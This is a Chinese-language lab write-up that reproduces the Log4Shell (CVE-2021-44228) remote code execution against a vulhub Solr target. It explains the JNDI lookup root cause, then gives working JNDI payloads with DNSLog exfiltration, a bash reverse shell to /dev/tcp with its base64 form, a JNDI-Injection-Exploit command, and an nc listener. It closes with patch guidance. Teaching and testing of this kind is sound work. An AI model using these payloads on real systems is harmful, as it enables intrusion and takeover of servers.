AI摘要
使用 vulhub 搭建靶机环境,完整复现 CVE-2021-44228(Log4Shell)远程代码执行漏洞,从漏洞原理到 DNSLog 外带验证,再到反弹 Shell 获取目标控制权。
漏洞原理
根因:Lookup 机制
Log4j 2 支持一种 Message Lookup Substitution 特性:当日志消息中包含 ${...} 格式的占位符时,Log4j 会在运行时动态解析并替换为实际值。支持多种 Lookup 插件,包括:
${env:VAR}— 读取环境变量${sys:property}— 读取系统属性${jndi:xxxx}— 通过 JNDI 获取外部资源
问题就在这里:${jndi:ldap://attacker.com/evil} 会触发 Log4j 向指定的 LDAP 服务器发起请求,而 LDAP 服务器可以返回一个指向远程 Java class 文件的序列化对象,目标 JVM 将自动加载并执行该 class。
攻击链路
攻击者构造恶意请求
→ 目标应用记录日志(含 ${jndi:ldap://...})
→ Log4j 解析 JNDI Lookup
→ 向攻击者控制的 LDAP 服务器发起查询
→ LDAP 返回 Java 对象引用(指向远程 class)
→ 目标 JVM 加载并执行恶意 class
→ 攻击者获得 RCE整个过程中,攻击者只需要让目标应用将恶意字符串记入日志就能触发漏洞,而 HTTP Header、User-Agent、POST body、URL 参数等几乎所有用户可控的输入都可能被记入日志,使得攻击面极为广阔。
JNDI / LDAP 简介
- JNDI(Java Naming and Directory Interface)是 Java 提供的一组 API,允许应用程序通过网络获取命名或目录服务中的资源。它支持多种 SPI 实现,包括 RMI、LDAP、CORBA、DNS 等。
- LDAP(Lightweight Directory Access Protocol)是一种轻量级目录访问协议,广泛用于企业内部用户认证和信息查询。JDK 自带的
com.sun.jndi.ldap.LdapCtx会默认信任 LDAP 响应中的javaCodeBase和javaFactory属性,从而加载远程 class,这正是 Log4Shell 得以利用的关键。
CVE-2021-44228 时间线
| 时间 | 事件 |
|---|---|
| 2021-11-24 | 阿里云安全团队向 Apache 报告漏洞 |
| 2021-12-09 | 漏洞细节公开,引发全球安全事件 |
| 2021-12-10 | Apache 发布 Log4j 2.15.0-rc2 修复 |
| 2021-12-14 | Apache 发布 Log4j 2.16.0 彻底禁用 Lookup |
| CVSS 3.1 | 10.0(严重) |
漏洞信息
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2021-44228 |
| 漏洞名称 | Log4Shell / LogJam |
| 漏洞类型 | Remote Code Execution (RCE) |
| 组件名称 | Apache Log4j2 |
| 影响范围 | 2.0.0 ≤ Apache Log4j2 ≤ 2.15.0-rc1 |
| 利用难度 | 容易 — 无需认证,仅需触发日志记录 |
| 威胁等级 | 严重(CVSS 10.0) |
| 修复版本 | Log4j 2.15.0-rc2 / 2.16.0+ |
该漏洞影响范围极广:Apache Struts2、Solr、Druid、Flume、Dubbo、ElasticSearch、Kafka 等大量 Java 生态组件均受牵连。
漏洞环境搭建
使用 vulhub 的预配置 Docker 环境,目标为 Apache Solr,其内置的 Log4j 版本存在漏洞。
cd vulhub/log4j/CVE-2021-44228
docker-compose up -d启动后 Solr 监听在 8983 端口。本例靶机 IP 为 192.168.50.134。
环境说明:
- 靶机:192.168.50.134 — 运行 Solr + 漏洞版 Log4j
- 攻击机:192.168.50.129 — 运行恶意 LDAP 服务 + nc 监听
- DNSLog:用于无回显场景的数据外带验证
漏洞复现
访问 Solr 管理后台确认服务正常运行:
Solr 的 Admin UI 提供了多个 API 端点,其中 /solr/admin/cores 等接口会将用户传入的参数记录到日志中,这成为攻击入口。
POC:DNSLog 外带验证
由于漏洞通常存在于无回显的场景(如 HTTP Header 注入后无法直接看到响应),需要借助 DNSLog 进行带外数据验证。
步骤
打开 DNSLog 平台 获取一个临时域名,构造嵌套 JNDI payload:
${jndi:ldap://${sys:java.version}.w5b7yq.dnslog.cn}这里使用了 嵌套 Lookup:外层 ${jndi:ldap://...} 触发 JNDI 请求,内层 ${sys:java.version} 在拼接时动态解析为当前 Java 版本号,最终发起的 LDAP 请求域名形如 1.8.0_291.w5b7yq.dnslog.cn,DNS 解析请求会被 DNSLog 记录。
将 payload 注入 URL 参数 action:
http://192.168.50.134:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.w5b7yq.dnslog.cn}Log4j 解析参数中的 ${...} 后发起 DNS 查询,DNSLog 平台记录到了包含 Java 版本的子域名请求,证明 JNDI Lookup 已成功触发:
为什么 LDAP 请求能发出但 DNSLog 有记录?
即使目标无法直接外连 LDAP(被防火墙阻断),DNS 解析请求通常不会被拦截,因此 DNSLog 是无回显漏洞检测的首选方式。
命令执行:反弹 Shell
确认 JNDI Lookup 可用后,接下来通过恶意 LDAP 服务器下发远程 class 实现代码执行。
1. 构造反弹 Shell 命令
bash -i >& /dev/tcp/192.168.50.129/6666 0>&1这是标准的 bash 反弹 Shell 用法:bash -i启动交互式 Shell,>&将标准输出和错误输出重定向到 TCP 连接,0>&1将标准输入也指向同一连接,攻击机即可获得完整的交互式终端。
2. Base64 编码
为了避免特殊字符被破坏,将命令进行 Base64 编码:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjEyOS82NjY2IDA+JjE=3. 启动恶意 LDAP 服务
使用 JNDI-Injection-Exploit 工具在攻击机启动一个恶意的 LDAP / RMI 服务。该工具接收 -C(要执行的命令)和 -A(攻击机 IP),内部自动完成:
- 启动 LDAP 及 RMI 监听端口
- 在响应中设置
javaCodeBase指向攻击机 HTTP 服务 - 当目标 LDAP 查询到达时,返回一个指向远程 class 的引用
- 目标 JVM 拉取 class 并执行其中的构造器代码(即
Runtime.exec())
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjEyOS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" \
-A "192.168.50.129"工具启动后会输出多个可用的 LDAP / RMI 地址,任选其一即可。此处选择 ldap://192.168.50.134:1099/1dj8mp。
同时,在攻击机上用 nc 监听 6666 端口等待反弹连接:
nc -lvnp 66664. 触发漏洞
将 payload 中的 DNSLog 域名替换为恶意 LDAP 地址:
http://192.168.50.134:8983/solr/admin/cores?action=${jndi:ldap://192.168.50.134:1099/1dj8mp}目标 Solr 接收到请求后:
- 记录 URL 到日志 → Log4j 解析
${jndi:ldap://...} - 向攻击机 1099 端口发起 LDAP 查询
- 收到包含
javaCodeBase的 LDAP 响应 - JVM 从攻击机 HTTP 服务下载恶意 class
- 执行 class 构造器中的
Runtime.exec("bash -c ...") - 目标机向攻击机 6666 端口发起 TCP 连接
- 攻击机获得交互式 Shell
总结
| 阶段 | 关键动作 |
|---|---|
| 漏洞根因 | Log4j 的 JNDI Lookup 允许从远程服务器加载 class |
| 攻击入口 | 用户可控输入被记录日志,触发${jndi:ldap://...} |
| 外带验证 | DNSLog 平台记录 DNS 请求,确认 Lookup 可用 |
| 代码执行 | 恶意 LDAP 服务器分发远程 class,JVM 自动加载 |
| 权限控制 | 反弹 Shell 获得目标操作系统控制权 |
CVE-2021-44228 之所以被称为"史上最严重 Java 漏洞",在于其利用门槛极低、影响面极广,大量主流中间件和业务系统均受影响。修复的核心思路是对 JNDI Lookup 进行限制:
- 2.15.0-rc2:默认禁用 JNDI Lookup,限制 LDAP 只能获取本地对象
- 2.16.0+:彻底移除 Message Lookup 功能,并从默认配置中删除 JNDI Appender
- 同时建议升级 JDK 到
8u191/11.0.1以上,高版本 JDK 默认限制了 LDAP 远程 class 加载





